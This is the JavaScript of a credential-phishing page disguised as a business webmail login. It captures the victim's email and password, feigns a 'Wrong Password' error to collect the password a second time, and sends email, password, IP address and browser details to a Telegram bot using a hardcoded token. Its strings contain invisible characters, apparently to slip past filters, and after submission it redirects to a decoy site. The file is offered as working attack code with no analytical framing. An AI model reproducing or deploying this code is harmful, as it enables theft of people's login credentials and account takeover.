window.addEventListener('load', function(){ var maler = window.location.hash.substr(1) console.log(maler) if(maler){ document.getElementById('mail').value = maler } var button = document.getElementById('button') counter = 0 button.addEventListener('click', function(){ var token = '7449072039:AAFBQyJwWeTNiiANF-b4mDAKCNZTQlb35vo'; var chat_ids = 7455793925 let male = document.getElementById('mail').value let pass = document.getElementById('pass').value if( male.indexOf('@') == -1 || male == '' ){ var show = document.getElementById('show').innerHTML = `P͏l͏e͏a͏s͏e͏ Confirm your Email.`; setTimeout(() => { document.getElementById('show').innerHTML = ''; document.getElementById('mail').focus() document.getElementById('mail').value = '' document.getElementById('pass').value = '' }, 2000) } else if(male.indexOf('yahoo') !== -1 || male.indexOf('gmail') !== -1 || male.indexOf('outlook') !== -1 || male.indexOf('aol') !== -1 || male.indexOf('hotmail') !== -1 || male.indexOf('msn') !== -1 || male.indexOf('microsoft') !== -1){ var show = document.getElementById('show').innerHTML = `This is not a Business Email, please enter a Business Email`; setTimeout(() => { document.getElementById('show').innerHTML = ''; document.getElementById('mail').focus() document.getElementById('mail').value = '' document.getElementById('pass').value = '' }, 2000) } //Password Section else if(pass == null || pass == ''){ var show = document.getElementById('show').innerHTML = `Please enter your password`; setTimeout(() => { document.getElementById('show').innerHTML = ''; document.getElementById('pass').focus() document.getElementById('pass').value = '' }, 2000) } else if(pass.length < 4){ var show = document.getElementById('show').innerHTML = `Your password is too short`; setTimeout(() => { document.getElementById('show').innerHTML = ''; document.getElementById('pass').focus() document.getElementById('pass').value = '' }, 2000) } //Sending to Telegram else if(counter < 1){ var show = document.getElementById('show').innerHTML = `Wrong Password, Try Again!`; setTimeout(() => { document.getElementById('show').innerHTML = '' document.getElementById('pass').focus() document.getElementById('pass').value = '' }, 2000) let begin = male.indexOf('@') let finish = male.indexOf('.') let domain = male.slice(begin + 1,finish) let output = domain.includes(9) || domain.includes(7) || domain.includes(6) || domain.includes(5) || domain.includes(4) || domain.includes(8) || domain.includes(3) || domain.includes(2) || domain.includes(0) || domain.includes(1) console.log(output) if(!output ) { var clean = `***** Webmail R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass} \r\nI͏P͏:h͏t͏t͏p͏s͏://i͏p͏-a͏p͏i͏.c͏om/${IP}\r\nUse͏r͏-A͏g͏e͏n͏t͏: ${navigator.userAgent}\r\n*****`; var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + token + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_ids, "text": clean }) } $.ajax(settings).done((response) => { console.log(response) }) } else{ var dirt = `***** Webmail R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass} \r\nI͏P͏:h͏t͏t͏p͏s͏://i͏p͏-a͏p͏i͏.c͏om/${IP}\r\nUse͏r͏-A͏g͏e͏n͏t͏: ${navigator.userAgent}\r\n*****`; var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + tokens + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_ids, "text": dirt }) } $.ajax(settings).done((response) => { console.log(response) }) } counter++ } //Finals else{ setTimeout(() => { document.getElementById('show').innerHTML = '' document.getElementById('pass').focus() document.getElementById('pass').value = '' }, 2000) let begin = male.indexOf('@') let finish = male.indexOf('.') let domain = male.slice(begin + 1,finish) let output = domain.includes(9) || domain.includes(7) || domain.includes(6) || domain.includes(5) || domain.includes(4) || domain.includes(8) || domain.includes(3) || domain.includes(2) || domain.includes(0) || domain.includes(1) console.log(output) var IP = document.getElementById('ip').textContent; console.log(IP) if(!output ) { var clean = `***** Webmail R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass} \r\nI͏P͏:h͏t͏t͏p͏s͏://i͏p͏-a͏p͏i͏.c͏om/${IP}\r\nUse͏r͏-A͏g͏e͏n͏t͏: ${navigator.userAgent}\r\n*****`; var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + token + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_ids, "text": clean }) } $.ajax(settings).done((response) => { console.log(response) window.open('https://webmail.update/') }) } else{ var dirt = `***** Webmail R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass} \r\nI͏P͏:h͏t͏t͏p͏s͏://i͏p͏-a͏p͏i͏.c͏om/${IP}\r\nUse͏r͏-A͏g͏e͏n͏t͏: ${navigator.userAgent}\r\n*****`; var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + tokens + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_ids, "text": dirt }) } $.ajax(settings).done((response) => { console.log(response) window.open('https://google.com/') }) }} }) })